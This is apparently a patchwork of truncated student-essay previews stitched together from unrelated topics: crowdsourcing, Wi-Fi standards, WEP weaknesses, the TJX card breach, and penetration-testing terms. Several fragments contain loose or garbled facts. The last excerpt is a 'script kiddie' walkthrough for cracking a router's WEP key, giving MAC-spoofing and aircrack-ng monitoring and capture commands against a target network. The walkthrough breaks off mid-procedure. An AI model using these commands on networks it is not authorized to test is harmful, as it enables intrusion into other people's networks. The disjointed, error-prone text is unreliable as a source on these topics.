...Avoid the crowd. One of the myriad job requirements incumbent upon creatives is staying atop the latest trends and newest technologies. The longer I’ve been around and designing/writing – I’m a fresh-faced 32, full disclosure – the more I’ve realized that this requirement also comes with a corollary: Just because you can do something, it doesn’t mean you should do something. In other words, not every tactic that’s out there is either worth it or right for everyone (or anyone). Today’s tactic du jour that I hope to never hear about again: Crowdsourcing. Before we go any further, I want to say what crowdsourcing is not. Crowdsourcing is not a blanket term used to define the many ways companies are able to actively and appropriately engage with their customers. Asking folks who own your product to submit videos about the unique ways in which they use it is not crowdsourcing. Nor is asking them to take “action shots” of your product in use that they would, in turn, post on their company blog. Just two of the many healthy ways companies interact with their customers, to say nothing of using social media outlets like Facebook or Twitter to start a conversation. For our purposes, I’ll narrow down what crowdsourcing is to this: Asking people to compete against each other to produce significant branding collateral for only the promise of pay to the ultimate winner. Here’s how it works: Let’s say, for instance, a company needs a new logo. That company turns to the “crowd” – you, me and...

...1. How would you define crowd sourcing? Crowd sourcing is the application of the open source idea to any field outside of software, taking a function performed by people within the organization, such as reporting done by journalist. 2. Why does crowd sourcing require a large, "undefined community" to work? Why not a small, defined community of passionate people who you know and have worked with before or with whom you are already friends (think Face book communities which are smaller, and defined)? Crowd sourcing require a large undefined community because it is said to be more accurate and concise. Large aggregates produce better estimates and judgments than smaller groups. Decisions come from diverse backgrounds. Wisdom of the crowd is another type of crowdsourcing that collects large amounts of information and aggregates it to gain a complete and accurate picture of a topic, based on the idea that a group of people is often more intelligent than an individual. This idea of collective intelligence proves particularly effective on the web because people can contribute in real-time within the same forums from very diverse backgrounds 3. Can you think of other examples of crowd sourcing besides photography? Is photography a good example? What kinds of products or services might not lend themselves to crowd sourcing? Mobs, herds and runaway stock markets produce bad decisions from crowdsourcing. 4. What is the impact of crowd sourcing on business? Can...

Their different security features and known issues with wireless technology. As well as how business implement Wireless networks, the different hacking methods used against Wireless networks and its future technological uses. There are many different wireless standards ranging from 802.11b to the new 802.11ac standard. Many manufactures exist with their own unique features for both home and business use. Each Wireless network standard was set forth an agreed upon by the IEEE or Institute of Electrical and Electronics Engineers. “IEEE is the world's largest professional association dedicated to advancing technological innovation and excellence for the benefit of humanity. IEEE and its members inspire a global community through IEEE's highly cited publications, conferences, technology standards, and professional and educational activities, ("About IEEE," 2014)”. The IEEE sets forth the standards for each 802.11 standard, starting with 802.11b, which is a “Wireless radio-frequency local area network. 802.11b, adopted Sept. 1999, operates at 11 Mbps in 2.4GHz band.

...vulnerabilities to help you stay protected from them. Wired Equivalent Protocol (WEP) was the original wireless security protocol. WEP was flawed in numerous ways and hackers were able to get information in minutes. WPAv1 was then introduced as an interim replacement because WEP was that flawed. WPAv1 was made to improve on the secure wireless networks and also used a newer and more improved algorithm. When WPAv2 was finally released, many devices began to be created to be compatible with the AES algorithm WPAv2 uses. There still have not been any major hacks or attacks on a WPAv2-AES network that would cause the Wi-Fi alliance look into using another algorithm a replacement. WPAv1 is too easy to hack so it is not recommended and WPAv1 is now susceptible to multiple types of attacks. There are several different ways you can help to protect yourself and your information. Verify your spam in your e-mail to make sure a file accidentally was not forwarded to spam. There are also others to improve your security. The length of your passkey is very important in security, as well as keeping an up-to-date anti-virus and staying up-to-date on all the latest hacks, cracks, and technology are critical for your protection.

It incorporates ideas from its own field and several other engineering fields to construct fast compact and efficient computer systems. COE's main concentrations include cyber security, artificial intelligence and networking. In the COE lab, three applications of COE were demonstrated: The first one was a video showing the control of electric train collision, where an FPGA (Field Programmable Gate Array) system was used to avoid collision between two trains that had a common track. Switches controlled by sensors (which detect the position of the trains on the tracks) were used to stop a train while the other train moved through the common track. In the second demonstration, an FPGA based camera module was used to stream live video. A camera was used to capture data which the FPGA then converted into RGB (Red, Green and Blue) format for viewing on an LCD monitor via a VGA port. In the third demonstration, an EA Series Router was configured to its basic settings using a PC after which the...

TJX used an encryption code that was developed just as retailers began going wireless. Wired Equivalent Privacy or WEP is a wireless encryption code developed in 1999 that retailers began to implement. Within a couple of years hackers broke the encryption code and rendered WEP obsolete. Many retailers In January of 2007 the parent company of TJMaxx and Marshalls known as TJX reported an IT security breach. The intrusion involved the portion of its network that handles credit card, debit card, check, and merchandise return functions. Facts slowly began to emerge that roughly 94 million customers’ credit card numbers were stolen from TJMaxx and Marshalls throughout 2006. It was believed that hackers sat in the parking lots and infiltrated TJX using their wireless network.

...Check point TJX Company IT/205 MAY 24, 2012 Check point TJX Company Information security means protecting information systems from unauthorized access. To my understanding TJX failed to properly encrypt data on many of the employee computers that were using the wireless network, and did not have an effective firewall installed. In the reading it indicated that TJX was still using the old Wired Equivalent Privacy (WEP) encryption system, which is relatively easy for hackers to crack. The Wi-Fi equivalent privacy (WEP) was considered old, weak and ineffective, therefore I could say the security breach that TJX had experience was a resulted by using a cheap and inexpensive wireless Wi-Fi network like the Wired Equivalent Privacy (WEP) encryption system, which make it easy for hackers to navigate. This is why it is important that TJX should have invested in using the wireless Wi-Fi Protective access 2 (WPA2) The Wi-Fi Protected Access 2 (WPA2) standard in conjunction with a sophisticated encryption system could have been used to replace the WEP. In that situation an effective firewall would have prevent unauthorized users from accessing private networks, meaning firewall acts like a gatekeeper who examines each user’s credentials before access is granted to a network. An effective Firewall could have reduced the ability for hackers to gain access to sensitive information. A data security breach could result a variety of issues some of them could be loosing of confidence...

...Get Rich or Die Tryin Albert Gonzalez was a cunning career cybercriminal who once worked on both sides of the law. At one point in his criminal career he actually worked with secret service agents to help take down another hacking ring of several hackers. But Gonzales soon returned to his criminal roots soon after the sting where he would begin to hack into major corporation’s networks in order to steal credit card information. One of these corporations just happened to be TJX. The TJX network was not secure enough from the start. The company was using inadequate wireless security protocols. They used WEP security (wired equivalent privacy) which is easy to crack and a good hacker could break into this type of network security really fast. A hacker with a laptop could simply sit outside the store and break into the network in less than a minute. TJX should have been using the much stronger wireless security protocol WPA (WI-FI Protected Access Protocol). TJX also stored card data improperly. They stored credit card information such as pin codes and cvc codes which are on the back of most credit cards. PCI Data security standards states that sensitive data such as the PIN and CVC codes should not be stored. So the company broke protocol by storing this information. Even though a network breach occurred, this vital card information may have not been exposed if it wasn’t stored on the company network. Finally, the stored data was not encrypted. Another PDI protocol was broken by...

...attacking in this manner it is an ethical hack. Black box testing is when the attack has no knowledge of the internal workings of the system. This type of testing would be done in a penetration test. A gray test the attacker has some knowledge of the system they are trying to access. White box testing is when attacker has full knowledge of the system they are trying to gain access to. White box testing would be more of a vulnerability test. With both types of test being performed it will increase your chances of keeping your network safe. One type of testing would be ok but you would leave yourself open for either a long term or short term problem depending on which method is chosen.

...Tonisha Miller IT/205 Jennifer Gilmore CheckPoint: TJX Companies The old Wired Equivalent Privacy (WEP) encryption system was the security controls in place. A Wired Equivalent Privacy (WEP) is not very effective. WEP is built into all standard 802.11 products, but its use is optional. Many users neglect to use WEP security features, leaving them unprotected. The basic WEP specification calls for an access point and all of its users to share the same 40-bit encrypted password, which can be easily decrypted by hackers from a small amount of traffic. Stronger encryption and authentication systems are now available, but users must be willing to install them. TJX had also neglected to install firewalls and data encryption on many of the computers using the wireless network, and didn’t properly install another layer of security software it had purchased. TJX acknowledged in a Securities and Exchange Commission filing that it transmitted credit card data to banks without encryption, violating credit card company guidelines. TJX also retained cardholder data in its systems much longer than stipulated by industry rules for storing such data. The tools and technologies that could have been used to fix the weaknesses are some of the following: General controls govern the design, security, and use of computer programs and the security of data files in general throughout the organization’s information technology infrastructure. On the whole, general controls apply to all computerized...

...Week 5 Discussion 1 "Wireless Penetration" Please respond to the following: Describe in detail the steps involved in cracking WEP encryption. Discuss the implications of relying on such a legacy protocol today and how essential it is for the IT industry to keep current with technology. Explain how to conduct a man-in-the-middle attack between a client (user’s computer) and their access point (AP). Discuss two trust issues which revolve around any type of wireless (i.e. Wi-Fi, WLAN, 3G, Bluetooth) communication. Wep is the basic security encryption mechanism. WEP is weakened by the use of a 24 bit initialization vector (IV) that is reused in a short period of time, thus rendering WEP vulnerable to attack by several readily available cracking tools. One of the challenges of wireless traffic analysis is the ability to inspect the contents of encrypted data frames. Now wireshark has the ability to decode many different network layer and higher protocols, encrypted traffic limits the ability to analyze packets and troubleshoot network problems. Wireshark offers some options to analyze WEP encrypted data. Wireshark offers some options to analyze WEP encrypted data.

...Basic steps to get you cracking WEP (for scriptkiddies) Once you got your tools ready it is time to get cracking. Routers especially those given out by our local ISP have their default security settings set to WEP to encrypt their traffic. This can be easily cracked by aircrack-ng suite in about 5 min once you are “au fait” with the setup. For those who want to jump straight into the cracking process here are the basic steps you need to take. Step 0: Spoof MAC address Open terminal and run the command: sudo ifconfig < attacker’s wlan interface > hw ether Step 1: Gather essential background data about yourself and your target. target_router SSID -> target_router target_router MAC address -> 00:14:7F:99:EB:99 target router channel-> 6 attacker’s MAC address -> 00:0f:b5:ff:ff:f9 attacker’s wlan interface: wlan0 attacker’s monitoring interface name (spawned from wlan0): mon0 Note: Replace the above variables with your own. These were mine for my setup. Step 2: Using aircrack-ng suite to crack WEP. sudo airmon-ng start wlan0 -> spawn a monitoring interface from wlan0. sudo airodump-ng mon0 -> survey / scan for your target router. sudo airmon-ng stop mon0 -> stop the monitoring interface so that you can start it again to listen on channel 6. sudo airmon-ng start wlan0 6 -> This starts the mon0 interface listening to only channel 6 [Important step!]. sudo airodump-ng -c6 -w outputfile mon0 -> pump output to a file called outputfile-01...
